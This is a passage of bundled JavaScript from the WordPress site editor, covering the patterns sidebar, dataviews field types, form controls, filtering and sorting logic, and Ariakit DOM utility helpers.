const {
query: {
postType = 'wp_block',
categoryId
}
} = sidebar_navigation_screen_patterns_useLocation();
const currentCategory = categoryId || (postType === PATTERN_TYPES.user ? PATTERN_DEFAULT_CATEGORY : TEMPLATE_PART_ALL_AREAS_CATEGORY);
const {
templatePartAreas,
hasTemplateParts,
isLoading
} = useTemplatePartAreas();
const {
patternCategories,
hasPatterns
} = usePatternCategories();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Patterns'),
description: (0,external_wp_i18n_namespaceObject.__)('Manage what patterns are available when editing the site.'),
isRoot: !backPath,
backPath: backPath,
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [isLoading && (0,external_wp_i18n_namespaceObject.__)('Loading items…'), !isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [!hasTemplateParts && !hasPatterns && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-navigation-screen-patterns__group",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
children: (0,external_wp_i18n_namespaceObject.__)('No items found')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoriesGroup, {
templatePartAreas: templatePartAreas,
patternCategories: patternCategories,
currentCategory: currentCategory,
currentType: postType
})]
})]
})
});
}
// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
var remove_accents = __webpack_require__(9681);
var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
;// ./node_modules/@wordpress/icons/build-module/library/arrow-up.js
/**
* WordPress dependencies
*/
const arrowUp = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 3.9 6.5 9.5l1 1 3.8-3.7V20h1.5V6.8l3.7 3.7 1-1z"
})
});
/* harmony default export */ const arrow_up = (arrowUp);
;// ./node_modules/@wordpress/icons/build-module/library/arrow-down.js
/**
* WordPress dependencies
*/
const arrowDown = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z"
})
});
/* harmony default export */ const arrow_down = (arrowDown);
;// ./node_modules/@wordpress/dataviews/build-module/constants.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
// Filter operators.
const constants_OPERATOR_IS = 'is';
const constants_OPERATOR_IS_NOT = 'isNot';
const constants_OPERATOR_IS_ANY = 'isAny';
const constants_OPERATOR_IS_NONE = 'isNone';
const OPERATOR_IS_ALL = 'isAll';
const OPERATOR_IS_NOT_ALL = 'isNotAll';
const ALL_OPERATORS = [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT, constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE, OPERATOR_IS_ALL, OPERATOR_IS_NOT_ALL];
const OPERATORS = {
[constants_OPERATOR_IS]: {
key: 'is-filter',
label: (0,external_wp_i18n_namespaceObject.__)('Is')
},
[constants_OPERATOR_IS_NOT]: {
key: 'is-not-filter',
label: (0,external_wp_i18n_namespaceObject.__)('Is not')
},
[constants_OPERATOR_IS_ANY]: {
key: 'is-any-filter',
label: (0,external_wp_i18n_namespaceObject.__)('Is any')
},
[constants_OPERATOR_IS_NONE]: {
key: 'is-none-filter',
label: (0,external_wp_i18n_namespaceObject.__)('Is none')
},
[OPERATOR_IS_ALL]: {
key: 'is-all-filter',
label: (0,external_wp_i18n_namespaceObject.__)('Is all')
},
[OPERATOR_IS_NOT_ALL]: {
key: 'is-not-all-filter',
label: (0,external_wp_i18n_namespaceObject.__)('Is not all')
}
};
const SORTING_DIRECTIONS = ['asc', 'desc'];
const sortArrows = {
asc: '↑',
desc: '↓'
};
const sortValues = {
asc: 'ascending',
desc: 'descending'
};
const sortLabels = {
asc: (0,external_wp_i18n_namespaceObject.__)('Sort ascending'),
desc: (0,external_wp_i18n_namespaceObject.__)('Sort descending')
};
const sortIcons = {
asc: arrow_up,
desc: arrow_down
};
// View layouts.
const constants_LAYOUT_TABLE = 'table';
const constants_LAYOUT_GRID = 'grid';
const constants_LAYOUT_LIST = 'list';
;// ./node_modules/@wordpress/dataviews/build-module/field-types/integer.js
/**
* Internal dependencies
*/
function sort(a, b, direction) {
return direction === 'asc' ? a - b : b - a;
}
function isValid(value, context) {
// TODO: this implicitly means the value is required.
if (value === '') {
return false;
}
if (!Number.isInteger(Number(value))) {
return false;
}
if (context?.elements) {
const validValues = context?.elements.map(f => f.value);
if (!validValues.includes(Number(value))) {
return false;
}
}
return true;
}
/* harmony default export */ const integer = ({
sort,
isValid,
Edit: 'integer'
});
;// ./node_modules/@wordpress/dataviews/build-module/field-types/text.js
/**
* Internal dependencies
*/
function text_sort(valueA, valueB, direction) {
return direction === 'asc' ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
}
function text_isValid(value, context) {
if (context?.elements) {
const validValues = context?.elements?.map(f => f.value);
if (!validValues.includes(value)) {
return false;
}
}
return true;
}
/* harmony default export */ const field_types_text = ({
sort: text_sort,
isValid: text_isValid,
Edit: 'text'
});
;// ./node_modules/@wordpress/dataviews/build-module/field-types/datetime.js
/**
* Internal dependencies
*/
function datetime_sort(a, b, direction) {
const timeA = new Date(a).getTime();
const timeB = new Date(b).getTime();
return direction === 'asc' ? timeA - timeB : timeB - timeA;
}
function datetime_isValid(value, context) {
if (context?.elements) {
const validValues = context?.elements.map(f => f.value);
if (!validValues.includes(value)) {
return false;
}
}
return true;
}
/* harmony default export */ const datetime = ({
sort: datetime_sort,
isValid: datetime_isValid,
Edit: 'datetime'
});
;// ./node_modules/@wordpress/dataviews/build-module/field-types/index.js
/**
* Internal dependencies
*/
/**
*
* @param {FieldType} type The field type definition to get.
*
* @return A field type definition.
*/
function getFieldTypeDefinition(type) {
if ('integer' === type) {
return integer;
}
if ('text' === type) {
return field_types_text;
}
if ('datetime' === type) {
return datetime;
}
return {
sort: (a, b, direction) => {
if (typeof a === 'number' && typeof b === 'number') {
return direction === 'asc' ? a - b : b - a;
}
return direction === 'asc' ? a.localeCompare(b) : b.localeCompare(a);
},
isValid: (value, context) => {
if (context?.elements) {
const validValues = context?.elements?.map(f => f.value);
if (!validValues.includes(value)) {
return false;
}
}
return true;
},
Edit: () => null
};
}
;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/datetime.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DateTime({
data,
field,
onChange,
hideLabelFromVision
}) {
const {
id,
label
} = field;
const value = field.getValue({
item: data
});
const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
[id]: newValue
}), [id, onChange]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
className: "dataviews-controls__datetime",
children: [!hideLabelFromVision && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
as: "legend",
children: label
}), hideLabelFromVision && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
as: "legend",
children: label
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TimePicker, {
currentTime: value,
onChange: onChangeControl,
hideLabelFromVision: true
})]
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/integer.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function Integer({
data,
field,
onChange,
hideLabelFromVision
}) {
var _field$getValue;
const {
id,
label,
description
} = field;
const value = (_field$getValue = field.getValue({
item: data
})) !== null && _field$getValue !== void 0 ? _field$getValue : '';
const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
[id]: Number(newValue)
}), [id, onChange]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalNumberControl, {
label: label,
help: description,
value: value,
onChange: onChangeControl,
__next40pxDefaultSize: true,
hideLabelFromVision: hideLabelFromVision
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/radio.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function Radio({
data,
field,
onChange,
hideLabelFromVision
}) {
const {
id,
label
} = field;
const value = field.getValue({
item: data
});
const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
[id]: newValue
}), [id, onChange]);
if (field.elements) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
label: label,
onChange: onChangeControl,
options: field.elements,
selected: value,
hideLabelFromVision: hideLabelFromVision
});
}
return null;
}
;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/select.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function Select({
data,
field,
onChange,
hideLabelFromVision
}) {
var _field$getValue, _field$elements;
const {
id,
label
} = field;
const value = (_field$getValue = field.getValue({
item: data
})) !== null && _field$getValue !== void 0 ? _field$getValue : '';
const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
[id]: newValue
}), [id, onChange]);
const elements = [
/*
* Value can be undefined when:
*
* - the field is not required
* - in bulk editing
*
*/
{
label: (0,external_wp_i18n_namespaceObject.__)('Select item'),
value: ''
}, ...((_field$elements = field?.elements) !== null && _field$elements !== void 0 ? _field$elements : [])];
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
label: label,
value: value,
options: elements,
onChange: onChangeControl,
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
hideLabelFromVision: hideLabelFromVision
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/text.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function Text({
data,
field,
onChange,
hideLabelFromVision
}) {
const {
id,
label,
placeholder
} = field;
const value = field.getValue({
item: data
});
const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
[id]: newValue
}), [id, onChange]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
label: label,
placeholder: placeholder,
value: value !== null && value !== void 0 ? value : '',
onChange: onChangeControl,
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
hideLabelFromVision: hideLabelFromVision
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/index.js
/**
* External dependencies
*/
/**
* Internal dependencies
*/
const FORM_CONTROLS = {
datetime: DateTime,
integer: Integer,
radio: Radio,
select: Select,
text: Text
};
function getControl(field, fieldTypeDefinition) {
if (typeof field.Edit === 'function') {
return field.Edit;
}
if (typeof field.Edit === 'string') {
return getControlByType(field.Edit);
}
if (field.elements) {
return getControlByType('select');
}
if (typeof fieldTypeDefinition.Edit === 'string') {
return getControlByType(fieldTypeDefinition.Edit);
}
return fieldTypeDefinition.Edit;
}
function getControlByType(type) {
if (Object.keys(FORM_CONTROLS).includes(type)) {
return FORM_CONTROLS[type];
}
throw 'Control ' + type + ' not found';
}
;// ./node_modules/@wordpress/dataviews/build-module/normalize-fields.js
/**
* Internal dependencies
*/
const getValueFromId = id => ({
item
}) => {
const path = id.split('.');
let value = item;
for (const segment of path) {
if (value.hasOwnProperty(segment)) {
value = value[segment];
} else {
value = undefined;
}
}
return value;
};
/**
* Apply default values and normalize the fields config.
*
* @param fields Fields config.
* @return Normalized fields config.
*/
function normalizeFields(fields) {
return fields.map(field => {
var _field$sort, _field$isValid, _field$enableHiding, _field$enableSorting;
const fieldTypeDefinition = getFieldTypeDefinition(field.type);
const getValue = field.getValue || getValueFromId(field.id);
const sort = (_field$sort = field.sort) !== null && _field$sort !== void 0 ? _field$sort : function sort(a, b, direction) {
return fieldTypeDefinition.sort(getValue({
item: a
}), getValue({
item: b
}), direction);
};
const isValid = (_field$isValid = field.isValid) !== null && _field$isValid !== void 0 ? _field$isValid : function isValid(item, context) {
return fieldTypeDefinition.isValid(getValue({
item
}), context);
};
const Edit = getControl(field, fieldTypeDefinition);
const renderFromElements = ({
item
}) => {
const value = getValue({
item
});
return field?.elements?.find(element => element.value === value)?.label || getValue({
item
});
};
const render = field.render || (field.elements ? renderFromElements : getValue);
return {
...field,
label: field.label || field.id,
header: field.header || field.label || field.id,
getValue,
render,
sort,
isValid,
Edit,
enableHiding: (_field$enableHiding = field.enableHiding) !== null && _field$enableHiding !== void 0 ? _field$enableHiding : true,
enableSorting: (_field$enableSorting = field.enableSorting) !== null && _field$enableSorting !== void 0 ? _field$enableSorting : true
};
});
}
;// ./node_modules/@wordpress/dataviews/build-module/filter-and-sort-data-view.js
/**
* External dependencies
*/
/**
* Internal dependencies
*/
function normalizeSearchInput(input = '') {
return remove_accents_default()(input.trim().toLowerCase());
}
const filter_and_sort_data_view_EMPTY_ARRAY = [];
/**
* Applies the filtering, sorting and pagination to the raw data based on the view configuration.
*
* @param data Raw data.
* @param view View config.
* @param fields Fields config.
*
* @return Filtered, sorted and paginated data.
*/
function filterSortAndPaginate(data, view, fields) {
if (!data) {
return {
data: filter_and_sort_data_view_EMPTY_ARRAY,
paginationInfo: {
totalItems: 0,
totalPages: 0
}
};
}
const _fields = normalizeFields(fields);
let filteredData = [...data];
// Handle global search.
if (view.search) {
const normalizedSearch = normalizeSearchInput(view.search);
filteredData = filteredData.filter(item => {
return _fields.filter(field => field.enableGlobalSearch).map(field => {
return normalizeSearchInput(field.getValue({
item
}));
}).some(field => field.includes(normalizedSearch));
});
}
if (view.filters && view.filters?.length > 0) {
view.filters.forEach(filter => {
const field = _fields.find(_field => _field.id === filter.field);
if (field) {
if (filter.operator === constants_OPERATOR_IS_ANY && filter?.value?.length > 0) {
filteredData = filteredData.filter(item => {
const fieldValue = field.getValue({
item
});
if (Array.isArray(fieldValue)) {
return filter.value.some(filterValue => fieldValue.includes(filterValue));
} else if (typeof fieldValue === 'string') {
return filter.value.includes(fieldValue);
}
return false;
});
} else if (filter.operator === constants_OPERATOR_IS_NONE && filter?.value?.length > 0) {
filteredData = filteredData.filter(item => {
const fieldValue = field.getValue({
item
});
if (Array.isArray(fieldValue)) {
return !filter.value.some(filterValue => fieldValue.includes(filterValue));
} else if (typeof fieldValue === 'string') {
return !filter.value.includes(fieldValue);
}
return false;
});
} else if (filter.operator === OPERATOR_IS_ALL && filter?.value?.length > 0) {
filteredData = filteredData.filter(item => {
return filter.value.every(value => {
return field.getValue({
item
})?.includes(value);
});
});
} else if (filter.operator === OPERATOR_IS_NOT_ALL && filter?.value?.length > 0) {
filteredData = filteredData.filter(item => {
return filter.value.every(value => {
return !field.getValue({
item
})?.includes(value);
});
});
} else if (filter.operator === constants_OPERATOR_IS) {
filteredData = filteredData.filter(item => {
return filter.value === field.getValue({
item
});
});
} else if (filter.operator === constants_OPERATOR_IS_NOT) {
filteredData = filteredData.filter(item => {
return filter.value !== field.getValue({
item
});
});
}
}
});
}
// Handle sorting.
if (view.sort) {
const fieldId = view.sort.field;
const fieldToSort = _fields.find(field => {
return field.id === fieldId;
});
if (fieldToSort) {
filteredData.sort((a, b) => {
var _view$sort$direction;
return fieldToSort.sort(a, b, (_view$sort$direction = view.sort?.direction) !== null && _view$sort$direction !== void 0 ? _view$sort$direction : 'desc');
});
}
}
// Handle pagination.
let totalItems = filteredData.length;
let totalPages = 1;
if (view.page !== undefined && view.perPage !== undefined) {
const start = (view.page - 1) * view.perPage;
totalItems = filteredData?.length || 0;
totalPages = Math.ceil(totalItems / view.perPage);
filteredData = filteredData?.slice(start, start + view.perPage);
}
return {
data: filteredData,
paginationInfo: {
totalItems,
totalPages
}
};
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-context/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DataViewsContext = (0,external_wp_element_namespaceObject.createContext)({
view: {
type: constants_LAYOUT_TABLE
},
onChangeView: () => {},
fields: [],
data: [],
paginationInfo: {
totalItems: 0,
totalPages: 0
},
selection: [],
onChangeSelection: () => {},
setOpenedFilter: () => {},
openedFilter: null,
getItemId: item => item.id,
isItemClickable: () => true,
containerWidth: 0
});
/* harmony default export */ const dataviews_context = (DataViewsContext);
;// ./node_modules/@wordpress/icons/build-module/library/funnel.js
/**
* WordPress dependencies
*/
const funnel = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z"
})
});
/* harmony default export */ const library_funnel = (funnel);
;// ./node_modules/@ariakit/react-core/esm/__chunks/3YLGPPWQ.js
"use client";
var __defProp = Object.defineProperty;
var __defProps = Object.defineProperties;
var __getOwnPropDescs = Object.getOwnPropertyDescriptors;
var __getOwnPropSymbols = Object.getOwnPropertySymbols;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __propIsEnum = Object.prototype.propertyIsEnumerable;
var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
var _3YLGPPWQ_spreadValues = (a, b) => {
for (var prop in b || (b = {}))
if (__hasOwnProp.call(b, prop))
__defNormalProp(a, prop, b[prop]);
if (__getOwnPropSymbols)
for (var prop of __getOwnPropSymbols(b)) {
if (__propIsEnum.call(b, prop))
__defNormalProp(a, prop, b[prop]);
}
return a;
};
var _3YLGPPWQ_spreadProps = (a, b) => __defProps(a, __getOwnPropDescs(b));
var __objRest = (source, exclude) => {
var target = {};
for (var prop in source)
if (__hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0)
target[prop] = source[prop];
if (source != null && __getOwnPropSymbols)
for (var prop of __getOwnPropSymbols(source)) {
if (exclude.indexOf(prop) < 0 && __propIsEnum.call(source, prop))
target[prop] = source[prop];
}
return target;
};
;// ./node_modules/@ariakit/core/esm/__chunks/3YLGPPWQ.js
"use client";
var _3YLGPPWQ_defProp = Object.defineProperty;
var _3YLGPPWQ_defProps = Object.defineProperties;
var _3YLGPPWQ_getOwnPropDescs = Object.getOwnPropertyDescriptors;
var _3YLGPPWQ_getOwnPropSymbols = Object.getOwnPropertySymbols;
var _3YLGPPWQ_hasOwnProp = Object.prototype.hasOwnProperty;
var _3YLGPPWQ_propIsEnum = Object.prototype.propertyIsEnumerable;
var _3YLGPPWQ_defNormalProp = (obj, key, value) => key in obj ? _3YLGPPWQ_defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
var _chunks_3YLGPPWQ_spreadValues = (a, b) => {
for (var prop in b || (b = {}))
if (_3YLGPPWQ_hasOwnProp.call(b, prop))
_3YLGPPWQ_defNormalProp(a, prop, b[prop]);
if (_3YLGPPWQ_getOwnPropSymbols)
for (var prop of _3YLGPPWQ_getOwnPropSymbols(b)) {
if (_3YLGPPWQ_propIsEnum.call(b, prop))
_3YLGPPWQ_defNormalProp(a, prop, b[prop]);
}
return a;
};
var _chunks_3YLGPPWQ_spreadProps = (a, b) => _3YLGPPWQ_defProps(a, _3YLGPPWQ_getOwnPropDescs(b));
var _3YLGPPWQ_objRest = (source, exclude) => {
var target = {};
for (var prop in source)
if (_3YLGPPWQ_hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0)
target[prop] = source[prop];
if (source != null && _3YLGPPWQ_getOwnPropSymbols)
for (var prop of _3YLGPPWQ_getOwnPropSymbols(source)) {
if (exclude.indexOf(prop) < 0 && _3YLGPPWQ_propIsEnum.call(source, prop))
target[prop] = source[prop];
}
return target;
};
;// ./node_modules/@ariakit/core/esm/__chunks/PBFD2E7P.js
"use client";
// src/utils/misc.ts
function PBFD2E7P_noop(..._) {
}
function shallowEqual(a, b) {
if (a === b) return true;
if (!a) return false;
if (!b) return false;
if (typeof a !== "object") return false;
if (typeof b !== "object") return false;
const aKeys = Object.keys(a);
const bKeys = Object.keys(b);
const { length } = aKeys;
if (bKeys.length !== length) return false;
for (const key of aKeys) {
if (a[key] !== b[key]) {
return false;
}
}
return true;
}
function applyState(argument, currentValue) {
if (isUpdater(argument)) {
const value = isLazyValue(currentValue) ? currentValue() : currentValue;
return argument(value);
}
return argument;
}
function isUpdater(argument) {
return typeof argument === "function";
}
function isLazyValue(value) {
return typeof value === "function";
}
function isObject(arg) {
return typeof arg === "object" && arg != null;
}
function isEmpty(arg) {
if (Array.isArray(arg)) return !arg.length;
if (isObject(arg)) return !Object.keys(arg).length;
if (arg == null) return true;
if (arg === "") return true;
return false;
}
function isInteger(arg) {
if (typeof arg === "number") {
return Math.floor(arg) === arg;
}
return String(Math.floor(Number(arg))) === arg;
}
function PBFD2E7P_hasOwnProperty(object, prop) {
if (typeof Object.hasOwn === "function") {
return Object.hasOwn(object, prop);
}
return Object.prototype.hasOwnProperty.call(object, prop);
}
function chain(...fns) {
return (...args) => {
for (const fn of fns) {
if (typeof fn === "function") {
fn(...args);
}
}
};
}
function cx(...args) {
return args.filter(Boolean).join(" ") || void 0;
}
function PBFD2E7P_normalizeString(str) {
return str.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
}
function omit(object, keys) {
const result = _chunks_3YLGPPWQ_spreadValues({}, object);
for (const key of keys) {
if (PBFD2E7P_hasOwnProperty(result, key)) {
delete result[key];
}
}
return result;
}
function pick(object, paths) {
const result = {};
for (const key of paths) {
if (PBFD2E7P_hasOwnProperty(object, key)) {
result[key] = object[key];
}
}
return result;
}
function identity(value) {
return value;
}
function beforePaint(cb = PBFD2E7P_noop) {
const raf = requestAnimationFrame(cb);
return () => cancelAnimationFrame(raf);
}
function afterPaint(cb = PBFD2E7P_noop) {
let raf = requestAnimationFrame(() => {
raf = requestAnimationFrame(cb);
});
return () => cancelAnimationFrame(raf);
}
function invariant(condition, message) {
if (condition) return;
if (typeof message !== "string") throw new Error("Invariant failed");
throw new Error(message);
}
function getKeys(obj) {
return Object.keys(obj);
}
function isFalsyBooleanCallback(booleanOrCallback, ...args) {
const result = typeof booleanOrCallback === "function" ? booleanOrCallback(...args) : booleanOrCallback;
if (result == null) return false;
return !result;
}
function disabledFromProps(props) {
return props.disabled || props["aria-disabled"] === true || props["aria-disabled"] === "true";
}
function removeUndefinedValues(obj) {
const result = {};
for (const key in obj) {
if (obj[key] !== void 0) {
result[key] = obj[key];
}
}
return result;
}
function defaultValue(...values) {
for (const value of values) {
if (value !== void 0) return value;
}
return void 0;
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/SK3NAZA3.js
"use client";
// src/utils/misc.ts
function setRef(ref, value) {
if (typeof ref === "function") {
ref(value);
} else if (ref) {
ref.current = value;
}
}
function isValidElementWithRef(element) {
if (!element) return false;
if (!(0,external_React_.isValidElement)(element)) return false;
if ("ref" in element.props) return true;
if ("ref" in element) return true;
return false;
}
function getRefProperty(element) {
if (!isValidElementWithRef(element)) return null;
const props = _3YLGPPWQ_spreadValues({}, element.props);
return props.ref || element.ref;
}
function mergeProps(base, overrides) {
const props = _3YLGPPWQ_spreadValues({}, base);
for (const key in overrides) {
if (!PBFD2E7P_hasOwnProperty(overrides, key)) continue;
if (key === "className") {
const prop = "className";
props[prop] = base[prop] ? `${base[prop]} ${overrides[prop]}` : overrides[prop];
continue;
}
if (key === "style") {
const prop = "style";
props[prop] = base[prop] ? _3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({}, base[prop]), overrides[prop]) : overrides[prop];
continue;
}
const overrideValue = overrides[key];
if (typeof overrideValue === "function" && key.startsWith("on")) {
const baseValue = base[key];
if (typeof baseValue === "function") {
props[key] = (...args) => {
overrideValue(...args);
baseValue(...args);
};
continue;
}
}
props[key] = overrideValue;
}
return props;
}
;// ./node_modules/@ariakit/core/esm/__chunks/DTR5TSDJ.js
"use client";
// src/utils/dom.ts
var DTR5TSDJ_canUseDOM = checkIsBrowser();
function checkIsBrowser() {
var _a;
return typeof window !== "undefined" && !!((_a = window.document) == null ? void 0 : _a.createElement);
}
function getDocument(node) {
if (!node) return document;
if ("self" in node) return node.document;
return node.ownerDocument || document;
}
function getWindow(node) {
if (!node) return self;
if ("self" in node) return node.self;
return getDocument(node).defaultView || window;
}
function DTR5TSDJ_getActiveElement(node, activeDescendant = false) {
const { activeElement } = getDocument(node);
if (!(activeElement == null ? void 0 : activeElement.nodeName)) {
return null;
}
if (DTR5TSDJ_isFrame(activeElement) && activeElement.contentDocument) {
return DTR5TSDJ_getActiveElement(
activeElement.contentDocument.body,
activeDescendant
);
}
if (activeDescendant) {
const id = activeElement.getAttribute("aria-activedescendant");
if (id) {
const element = getDocument(activeElement).getElementById(id);
if (element) {
return element;
}
}
}
return activeElement;
}
function contains(parent, child) {
return parent === child || parent.contains(child);
}
function DTR5TSDJ_isFrame(element) {
return element.tagName === "IFRAME";
}
function isButton(element) {
const tagName = element.tagName.toLowerCase();
if (tagName === "button") return true;
if (tagName === "input" && element.type) {
return buttonInputTypes.indexOf(element.type) !== -1;
}
return false;
}
var buttonInputTypes = [
"button",
"color",
"file",
"image",
"reset",
"submit"
];
function isVisible(element) {
if (typeof element.checkVisibility === "function") {
return element.checkVisibility();
}
const htmlElement = element;
return htmlElement.offsetWidth > 0 || htmlElement.offsetHeight > 0 || element.getClientRects().length > 0;
}
function isTextField(element) {
try {
const isTextInput = element instanceof HTMLInputElement && element.selectionStart !== null;
const isTextArea = element.tagName === "TEXTAREA";
return isTextInput || isTextArea || false;
} catch (error) {
return false;
}
}
function isTextbox(element) {
return element.isContentEditable || isTextField(element);
}
function getTextboxValue(element) {
if (isTextField(element)) {
return element.value;
}
if (element.isContentEditable) {
const range = getDocument(element).createRange();
range.selectNodeContents(element);
return range.toString();
}
return "";
}
function getTextboxSelection(element) {
let start = 0;
let end = 0;
if (isTextField(element)) {
start = element.selectionStart || 0;
end = element.selectionEnd || 0;
} else if (element.isContentEditable) {
const selection = getDocument(element).getSelection();
if ((selection == null ? void 0 : selection.rangeCount) && selection.anchorNode && contains(element, selection.anchorNode) && selection.focusNode && contains(element, selection.focusNode)) {
const range = selection.getRangeAt(0);
const nextRange = range.cloneRange();
nextRange.selectNodeContents(element);
nextRange.setEnd(range.startContainer, range.startOffset);
start = nextRange.toString().length;
nextRange.setEnd(range.endContainer, range.endOffset);
end = nextRange.toString().length;
}
}
return { start, end };
}
function getPopupRole(element, fallback) {
const allowedPopupRoles = ["dialog", "menu", "listbox", "tree", "grid"];
const role = element == null ? void 0 : element.getAttribute("role");
if (role && allowedPopupRoles.indexOf(role) !== -1) {
return role;
}
return fallback;
}
function getPopupItemRole(element, fallback) {
var _a;
const itemRoleByPopupRole = {
menu: "menuitem",
listbox: "option",
tree: "treeitem"
};
const popupRole = getPopupRole(element);
if (!popupRole) return fallback;
const key = popupRole;
return (_a = itemRoleByPopupRole[key]) != null ? _a : fallback;
}
function scrollIntoViewIfNeeded(element, arg) {
if (isPartiallyHidden(element) && "scrollIntoView" in element) {
element.scrollIntoView(arg);
}
}
function getScrollingElement(element) {
if (!element) return null;
const isScrollableOverflow = (overflow) => {
if (overflow === "auto") return true;
if (overflow === "scroll") return true;
return false;
};
if (element.clientHeight && element.scrollHeight > element.clientHeight) {
const { overflowY } = getComputedStyle(element);
if (isScrollableOverflow(overflowY)) return element;
} else if (element.clientWidth && element.scrollWidth > element.clientWidth) {
const { overflowX } = getComputedStyle(element);
if (isScrollableOverflow(overflowX)) return element;
}
return getScrollingElement(element.parentElement) || document.scrollingElement || document.body;
}
function isPartiallyHidden(element) {
const elementRect = element.getBoundingClientRect();
const scroller = getScrollingElement(element);
if (!scroller) return false;
const scrollerRect = scroller.getBoundingClientRect();
const isHTML = scroller.tagName === "HTML";
const scrollerTop = isHTML ? scrollerRect.top + scroller.scrollTop : scrollerRect.top;
const scrollerBottom = isHTML ? scroller.clientHeight : scrollerRect.bottom;
const scrollerLeft = isHTML ? scrollerRect.left + scroller.scrollLeft : scrollerRect.left;
const scrollerRight = isHTML ? scroller.clientWidth : scrollerRect.right;
const top = elementRect.top < scrollerTop;
const left = elementRect.left < scrollerLeft;
const bottom = elementRect.bottom > scrollerBottom;
const right = elementRect.right > scrollerRight;
return top || left || bottom || right;
}
function setSelectionRange(element, ...args) {
if (/text|search|password|tel|url/i.test(element.type)) {
element.setSelectionRange(...args);
}
}
function sortBasedOnDOMPosition(items, getElement) {
const pairs = items.map((item, index) => [index, item]);
let isOrderDifferent = false;
pairs.sort(([indexA, a], [indexB, b]) => {
const elementA = getElement(a);
const elementB = getElement(b);
if (elementA === elementB) return 0;
if (!elementA || !elementB) return 0;
if (isElementPreceding(elementA, elementB)) {
if (indexA > indexB) {
isOrderDifferent = true;
}
return -1;
}
if (indexA < indexB) {
isOrderDifferent = true;
}
return 1;
});
if (isOrderDifferent) {
